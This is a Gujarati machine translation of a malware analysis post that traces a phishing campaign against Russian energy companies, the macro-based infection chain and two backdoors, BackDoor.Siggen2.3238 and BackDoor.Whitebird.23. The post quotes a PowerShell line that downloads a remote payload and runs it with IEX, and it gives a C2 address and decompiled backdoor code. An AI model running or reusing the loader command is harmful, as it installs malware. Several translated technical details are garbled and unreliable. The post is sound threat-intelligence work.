અમે રશિયન ઇંધણ અને ઊર્જા સંકુલ પર લક્ષિત જાસૂસ હુમલાની તપાસ કરી રહ્યા છીએ

કોમ્પ્યુટર સુરક્ષા ઘટનાઓની તપાસ કરવાનો અમારો અનુભવ દર્શાવે છે કે ઈમેઈલ એ હજુ પણ હુમલાખોરો દ્વારા હુમલાગ્રસ્ત નેટવર્ક ઈન્ફ્રાસ્ટ્રક્ચરમાં પ્રવેશવા માટે ઉપયોગમાં લેવાતી સૌથી સામાન્ય ચેનલોમાંની એક છે. શંકાસ્પદ (અથવા એટલા શંકાસ્પદ નથી) પત્ર સાથેની એક બેદરકારીભરી ક્રિયા આગળના ચેપ માટે પ્રવેશ બિંદુ બની જાય છે, તેથી જ સાયબર અપરાધીઓ સફળતાની વિવિધ ડિગ્રીઓ હોવા છતાં, સોશિયલ એન્જિનિયરિંગ પદ્ધતિઓનો સક્રિયપણે ઉપયોગ કરી રહ્યા છે.

આ પોસ્ટમાં, અમે રશિયન ઇંધણ અને ઊર્જા સંકુલમાં સંખ્યાબંધ સાહસોને લક્ષ્યાંકિત કરતી સ્પામ ઝુંબેશની અમારી તાજેતરની તપાસ વિશે વાત કરવા માંગીએ છીએ. નકલી ઈમેઈલનો ઉપયોગ કરીને તમામ હુમલાઓ એ જ પરિસ્થિતિને અનુસરતા હતા અને કોઈએ પણ આ ઈમેઈલની ટેક્સ્ટ કન્ટેન્ટમાં વધુ પ્રયત્નો કર્યા હોય તેવું લાગતું નથી.

ગુપ્તચર સેવા

તે બધું એપ્રિલ 2020 ના અંતમાં શરૂ થયું, જ્યારે ડોક્ટર વેબ વાયરસ વિશ્લેષકોએ સ્પામ ઝુંબેશ શોધી કાઢી જેમાં હેકર્સે રશિયન ઇંધણ અને ઊર્જા સંકુલમાં સંખ્યાબંધ સાહસોના કર્મચારીઓને અપડેટ કરેલી ટેલિફોન ડિરેક્ટરી મોકલી. અલબત્ત, આ ચિંતાનો સરળ શો ન હતો, કારણ કે ડિરેક્ટરી વાસ્તવિક ન હતી, અને .docx દસ્તાવેજોએ દૂરસ્થ સંસાધનોમાંથી બે છબીઓ ડાઉનલોડ કરી હતી.

તેમાંથી એક સમાચાર[.]zannews[.]com સર્વર પરથી વપરાશકર્તાના કમ્પ્યુટર પર ડાઉનલોડ કરવામાં આવ્યું હતું. નોંધનીય છે કે ડોમેન નામ કઝાકિસ્તાનના ભ્રષ્ટાચાર વિરોધી મીડિયા સેન્ટરના ડોમેન જેવું જ છે - zannews[.]kz. બીજી બાજુ, વપરાયેલ ડોમેન તરત જ TOPNEWS તરીકે ઓળખાતી અન્ય 2015 ઝુંબેશની યાદ અપાવે છે, જેમાં ICEFOG બેકડોરનો ઉપયોગ કરવામાં આવ્યો હતો અને તેમના નામોમાં "સમાચાર" સબસ્ટ્રિંગ સાથે ટ્રોજન નિયંત્રણ ડોમેન્સ હતા. અન્ય રસપ્રદ લક્ષણ એ હતું કે જ્યારે વિવિધ પ્રાપ્તકર્તાઓને ઇમેઇલ્સ મોકલવામાં આવે છે, ત્યારે ઇમેજ ડાઉનલોડ કરવાની વિનંતીઓ ક્યાં તો વિવિધ વિનંતી પરિમાણો અથવા અનન્ય છબી નામોનો ઉપયોગ કરે છે.

અમારું માનવું છે કે આ "વિશ્વસનીય" એડ્રેસીને ઓળખવા માટે માહિતી એકત્રિત કરવાના હેતુથી કરવામાં આવ્યું હતું, જે પછી યોગ્ય સમયે પત્ર ખોલવાની ખાતરી આપવામાં આવશે. SMB પ્રોટોકોલનો ઉપયોગ બીજા સર્વરમાંથી ઇમેજ ડાઉનલોડ કરવા માટે કરવામાં આવ્યો હતો, જે પ્રાપ્ત દસ્તાવેજ ખોલનારા કર્મચારીઓના કમ્પ્યુટર્સમાંથી NetNTLM હેશ એકત્રિત કરવા માટે કરી શકાય છે.

અને નકલી ડિરેક્ટરી સાથેનો પત્ર અહીં છે:

આ વર્ષના જૂનમાં, હેકર્સે ઇમેજ અપલોડ કરવા માટે નવા ડોમેન નામ, સ્પોર્ટ્સ[.]manhajnews[.]comનો ઉપયોગ કરવાનું શરૂ કર્યું. વિશ્લેષણ દર્શાવે છે કે manhajnews[.]com સબડોમેન્સ ઓછામાં ઓછા સપ્ટેમ્બર 2019 થી સ્પામ મેઇલિંગમાં ઉપયોગમાં લેવાય છે. આ ઝુંબેશના લક્ષ્યોમાંથી એક મોટી રશિયન યુનિવર્સિટી હતી.

ઉપરાંત, જૂન સુધીમાં, હુમલાના આયોજકો તેમના પત્રો માટે એક નવું લખાણ લઈને આવ્યા: આ વખતે દસ્તાવેજમાં ઉદ્યોગના વિકાસ વિશેની માહિતી હતી. પત્રનો લખાણ સ્પષ્ટપણે દર્શાવે છે કે તેના લેખક કાં તો રશિયન ભાષાના મૂળ વક્તા નથી, અથવા જાણીજોઈને પોતાના વિશે આવી છાપ ઉભી કરી રહ્યા હતા. કમનસીબે, ઉદ્યોગના વિકાસના વિચારો, હંમેશની જેમ, માત્ર એક કવર તરીકે બહાર આવ્યા - દસ્તાવેજે ફરીથી બે છબીઓ ડાઉનલોડ કરી, જ્યારે સર્વર [.]inklingpaper[.]com ડાઉનલોડ કરવા માટે બદલાઈ ગયું.

આગામી નવીનતા જુલાઈમાં અનુસરવામાં આવી. એન્ટિવાયરસ પ્રોગ્રામ્સ દ્વારા દૂષિત દસ્તાવેજોની શોધને બાયપાસ કરવાના પ્રયાસરૂપે, હુમલાખોરોએ પાસવર્ડ સાથે એન્ક્રિપ્ટેડ માઇક્રોસોફ્ટ વર્ડ દસ્તાવેજોનો ઉપયોગ કરવાનું શરૂ કર્યું. તે જ સમયે, હુમલાખોરોએ ક્લાસિક સોશિયલ એન્જિનિયરિંગ તકનીકનો ઉપયોગ કરવાનું નક્કી કર્યું - ઈનામ સૂચના.

અપીલનો ટેક્સ્ટ ફરીથી એ જ શૈલીમાં લખવામાં આવ્યો હતો, જેણે સંબોધનમાં વધારાની શંકા જગાવી હતી. ઇમેજ ડાઉનલોડ કરવા માટેનું સર્વર પણ બદલાયું નથી.

નોંધ કરો કે તમામ કિસ્સાઓમાં, પત્રો મોકલવા માટે મેઈલ[.]ru અને yandex[.]ru ડોમેન્સ પર નોંધાયેલા ઈલેક્ટ્રોનિક મેઈલબોક્સનો ઉપયોગ થતો હતો.

હુમલો

સપ્ટેમ્બર 2020 ની શરૂઆતમાં, તે પગલાં લેવાનો સમય હતો. અમારા વાયરસ વિશ્લેષકોએ હુમલાની નવી તરંગ રેકોર્ડ કરી, જેમાં હુમલાખોરોએ ટેલિફોન ડિરેક્ટરીને અપડેટ કરવાના બહાના હેઠળ ફરીથી પત્રો મોકલ્યા. જો કે, આ વખતે જોડાણમાં દૂષિત મેક્રો છે.

જોડાયેલ દસ્તાવેજ ખોલતી વખતે, મેક્રોએ બે ફાઇલો બનાવી:

• VBS સ્ક્રિપ્ટ %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, જેનો હેતુ બેચ ફાઈલ લોન્ચ કરવાનો હતો;
• બેચ ફાઇલ પોતે %APPDATA%configstest.bat, જે અસ્પષ્ટ હતી.

તેના કાર્યનો સાર અમુક પરિમાણો સાથે પાવરશેલ શેલને લોન્ચ કરવા માટે નીચે આવે છે. શેલમાં પસાર થયેલા પરિમાણોને આદેશોમાં ડીકોડ કરવામાં આવે છે:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

પ્રસ્તુત આદેશોમાંથી નીચે મુજબ, ડોમેન જેમાંથી પેલોડ ડાઉનલોડ કરવામાં આવે છે તે ફરીથી સમાચાર સાઇટ તરીકે છૂપાવે છે. એક સરળ લોડર, જેનું એકમાત્ર કાર્ય કમાન્ડ અને કંટ્રોલ સર્વરમાંથી શેલકોડ મેળવવાનું અને તેને એક્ઝિક્યુટ કરવાનું છે. અમે બે પ્રકારના બેકડોર ઓળખવામાં સક્ષમ હતા જે પીડિતના પીસી પર ઇન્સ્ટોલ કરી શકાય છે.

બેકડોર.સિગેન2.3238

પ્રથમ એક છે બેકડોર.સિગેન2.3238 — અમારા નિષ્ણાતોનો આ પહેલાં સામનો કરવો પડ્યો ન હતો, અને અન્ય એન્ટિવાયરસ વિક્રેતાઓ દ્વારા પણ આ પ્રોગ્રામનો કોઈ ઉલ્લેખ નથી.

આ પ્રોગ્રામ C++ માં લખાયેલ બેકડોર છે અને 32-બીટ વિન્ડોઝ ઓપરેટિંગ સિસ્ટમ પર ચાલે છે.

બેકડોર.સિગેન2.3238 બે પ્રોટોકોલનો ઉપયોગ કરીને મેનેજમેન્ટ સર્વર સાથે વાતચીત કરવામાં સક્ષમ છે: HTTP અને HTTPS. પરીક્ષણ કરેલ નમૂના HTTPS પ્રોટોકોલનો ઉપયોગ કરે છે. નીચેના વપરાશકર્તા-એજન્ટનો ઉપયોગ સર્વરની વિનંતીઓમાં થાય છે:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

આ કિસ્સામાં, બધી વિનંતીઓ નીચેના પરિમાણોના સેટ સાથે પૂરી પાડવામાં આવે છે:

%s;type=%s;length=%s;realdata=%send

જ્યાં દરેક લીટી %s અનુરૂપ રીતે બદલાઈ જાય છે:

• ચેપગ્રસ્ત કમ્પ્યુટરનું ID,
• મોકલવામાં આવી રહેલી વિનંતીનો પ્રકાર,
• રીઅલડેટા ફીલ્ડમાં ડેટાની લંબાઈ,
• ડેટા.

ચેપગ્રસ્ત સિસ્ટમ વિશે માહિતી એકત્રિત કરવાના તબક્કે, પાછલા દરવાજા નીચેની જેમ એક લાઇન બનાવે છે:

lan=%s;cmpname=%s;username=%s;version=%s;

જ્યાં lan એ ચેપગ્રસ્ત કમ્પ્યુટરનું IP સરનામું છે, cmpname એ કમ્પ્યુટરનું નામ છે, વપરાશકર્તા નામ વપરાશકર્તા નામ છે, સંસ્કરણ 0.0.4.03 લાઇન છે.

sysinfo ઓળખકર્તા સાથેની આ માહિતી https[:]//31.214[.]157.14/log.txt પર સ્થિત કંટ્રોલ સર્વરને POST વિનંતી દ્વારા મોકલવામાં આવે છે. જો જવાબમાં બેકડોર.સિગેન2.3238 હાર્ટ સિગ્નલ મેળવે છે, કનેક્શન સફળ માનવામાં આવે છે, અને બેકડોર સર્વર સાથે સંચારનું મુખ્ય ચક્ર શરૂ કરે છે.

સંચાલન સિદ્ધાંતોનું વધુ સંપૂર્ણ વર્ણન બેકડોર.સિગેન2.3238 આપણામાં છે વાયરસ પુસ્તકાલય.

બેકડોર.વ્હાઈટબર્ડ.23

બીજો પ્રોગ્રામ બેકડોર.વ્હાઈટબર્ડ બેકડોરમાં ફેરફાર છે, જે કઝાકિસ્તાનની સરકારી એજન્સી સાથેની ઘટનાથી અમને પહેલાથી જ ખબર છે. આ સંસ્કરણ C++ માં લખાયેલ છે અને 32-બીટ અને 64-બીટ વિન્ડોઝ ઓપરેટિંગ સિસ્ટમ બંને પર ચલાવવા માટે રચાયેલ છે.

આ પ્રકારના મોટાભાગના કાર્યક્રમોની જેમ, બેકડોર.વ્હાઈટબર્ડ.23 કંટ્રોલ સર્વર સાથે એન્ક્રિપ્ટેડ કનેક્શન સ્થાપિત કરવા અને ચેપગ્રસ્ત કમ્પ્યુટરના અનધિકૃત નિયંત્રણ માટે રચાયેલ છે. ડ્રોપરનો ઉપયોગ કરીને સમાધાનવાળી સિસ્ટમમાં ઇન્સ્ટોલ કરેલું બેકડોર.સિગેન2.3244.

અમે જે નમૂનાની તપાસ કરી હતી તે બે નિકાસ સાથે દૂષિત લાઇબ્રેરી હતી:

• Google Play
• ટેસ્ટ.

તેના કાર્યની શરૂઆતમાં, તે બાઈટ 0x99 સાથે XOR ઑપરેશન પર આધારિત અલ્ગોરિધમનો ઉપયોગ કરીને બેકડોર બોડીમાં હાર્ડવાયર થયેલ ગોઠવણીને ડિક્રિપ્ટ કરે છે. રૂપરેખાંકન આના જેવું લાગે છે:

struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

તેની સતત કામગીરીને સુનિશ્ચિત કરવા માટે, બેકડોર ક્ષેત્રમાં ઉલ્લેખિત મૂલ્યમાં ફેરફાર કરે છે કામ નાં કલાકો રૂપરેખાંકનો ફીલ્ડમાં 1440 બાઇટ્સ છે, જે મૂલ્યો 0 અથવા 1 લે છે અને દિવસમાં દરેક કલાકની દરેક મિનિટનું પ્રતિનિધિત્વ કરે છે. દરેક નેટવર્ક ઈન્ટરફેસ માટે એક અલગ થ્રેડ બનાવે છે જે ઈન્ટરફેસને સાંભળે છે અને ચેપગ્રસ્ત કમ્પ્યુટરમાંથી પ્રોક્સી સર્વર પર અધિકૃતતા પેકેટો માટે જુએ છે. જ્યારે આવા પેકેટ શોધાય છે, ત્યારે બેકડોર તેની સૂચિમાં પ્રોક્સી સર્વર વિશેની માહિતી ઉમેરે છે. વધુમાં, WinAPI દ્વારા પ્રોક્સીની હાજરી માટે તપાસ કરે છે InternetQueryOptionW.

પ્રોગ્રામ વર્તમાન મિનિટ અને કલાકને તપાસે છે અને તેને ક્ષેત્રમાંના ડેટા સાથે સરખાવે છે કામ નાં કલાકો રૂપરેખાંકનો જો દિવસના અનુરૂપ મિનિટનું મૂલ્ય શૂન્ય નથી, તો નિયંત્રણ સર્વર સાથે જોડાણ સ્થાપિત થાય છે.

સર્વર સાથે જોડાણ સ્થાપિત કરવું એ ક્લાયંટ અને સર્વર વચ્ચે TLS સંસ્કરણ 1.0 પ્રોટોકોલનો ઉપયોગ કરીને જોડાણ બનાવવાનું અનુકરણ કરે છે. બેકડોરના શરીરમાં બે બફર છે.

પ્રથમ બફરમાં TLS 1.0 ક્લાયંટ હેલો પેકેટ છે.

બીજા બફરમાં 1.0x0 બાઇટ્સ, ચેન્જ સાઇફર સ્પેક, એન્ક્રિપ્ટેડ હેન્ડશેક મેસેજની કી લંબાઈ સાથે TLS 100 ક્લાયંટ કી એક્સચેન્જ પેકેટો છે.

ક્લાયન્ટ હેલો પેકેટ મોકલતી વખતે, બેકડોર વર્તમાન સમયના 4 બાઇટ્સ અને ક્લાયન્ટ રેન્ડમ ફીલ્ડમાં સ્યુડો-રેન્ડમ ડેટાના 28 બાઇટ્સ લખે છે, જેની ગણતરી નીચે મુજબ છે:

v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

પ્રાપ્ત પેકેટ નિયંત્રણ સર્વર પર મોકલવામાં આવે છે. પ્રતિભાવ (સર્વર હેલો પેકેટ) તપાસે છે:

• TLS પ્રોટોકોલ સંસ્કરણ 1.0 સાથે પાલન;
• સર્વર દ્વારા નિર્દિષ્ટ ટાઇમસ્ટેમ્પ માટે ક્લાયંટ દ્વારા ઉલ્લેખિત ટાઇમસ્ટેમ્પ (રેન્ડમ ડેટા પેકેટ ફીલ્ડના પ્રથમ 4 બાઇટ્સ) નો પત્રવ્યવહાર;
• ક્લાયંટ અને સર્વરના રેન્ડમ ડેટા ફીલ્ડમાં ટાઇમસ્ટેમ્પ પછી પ્રથમ 4 બાઇટ્સનો મેળ.

ઉલ્લેખિત મેચોના કિસ્સામાં, બેકડોર ક્લાયંટ કી એક્સચેન્જ પેકેટ તૈયાર કરે છે. આ કરવા માટે, તે ક્લાયંટ કી એક્સચેન્જ પેકેજમાં જાહેર કી, તેમજ એન્ક્રિપ્ટેડ હેન્ડશેક મેસેજ પેકેજમાં એન્ક્રિપ્શન IV અને એન્ક્રિપ્શન ડેટાને સંશોધિત કરે છે.

બેકડોર પછી આદેશ અને નિયંત્રણ સર્વરમાંથી પેકેટ મેળવે છે, તપાસે છે કે TLS પ્રોટોકોલ સંસ્કરણ 1.0 છે, અને પછી અન્ય 54 બાઇટ્સ (પેકેટનું મુખ્ય ભાગ) સ્વીકારે છે. આ કનેક્શન સેટઅપ પૂર્ણ કરે છે.

સંચાલન સિદ્ધાંતોનું વધુ સંપૂર્ણ વર્ણન બેકડોર.વ્હાઈટબર્ડ.23 આપણામાં છે વાયરસ પુસ્તકાલય.

નિષ્કર્ષ અને નિષ્કર્ષ

દસ્તાવેજો, માલવેર અને ઉપયોગમાં લેવાતા ઇન્ફ્રાસ્ટ્રક્ચરનું વિશ્લેષણ અમને વિશ્વાસ સાથે કહેવાની મંજૂરી આપે છે કે હુમલો ચીનના APT જૂથોમાંથી એક દ્વારા તૈયાર કરવામાં આવ્યો હતો. સફળ હુમલાની ઘટનામાં પીડિતોના કમ્પ્યુટર્સ પર ઇન્સ્ટોલ કરેલા બેકડોરની કાર્યક્ષમતાને ધ્યાનમાં લેતા, ચેપ ઓછામાં ઓછા, હુમલો કરાયેલ સંગઠનોના કમ્પ્યુટર્સમાંથી ગોપનીય માહિતીની ચોરી તરફ દોરી જાય છે.

વધુમાં, ખૂબ જ સંભવિત દૃશ્ય એ વિશિષ્ટ કાર્ય સાથે સ્થાનિક સર્વર પર વિશિષ્ટ ટ્રોજનની સ્થાપના છે. આ ડોમેન નિયંત્રકો, મેલ સર્વર્સ, ઈન્ટરનેટ ગેટવે વગેરે હોઈ શકે છે. જેમ આપણે ઉદાહરણમાં જોઈ શકીએ છીએ કઝાકિસ્તાનમાં બનેલી ઘટના, આવા સર્વર્સ વિવિધ કારણોસર હુમલાખોરો માટે ખાસ રસ ધરાવે છે.

સોર્સ: www.habr.com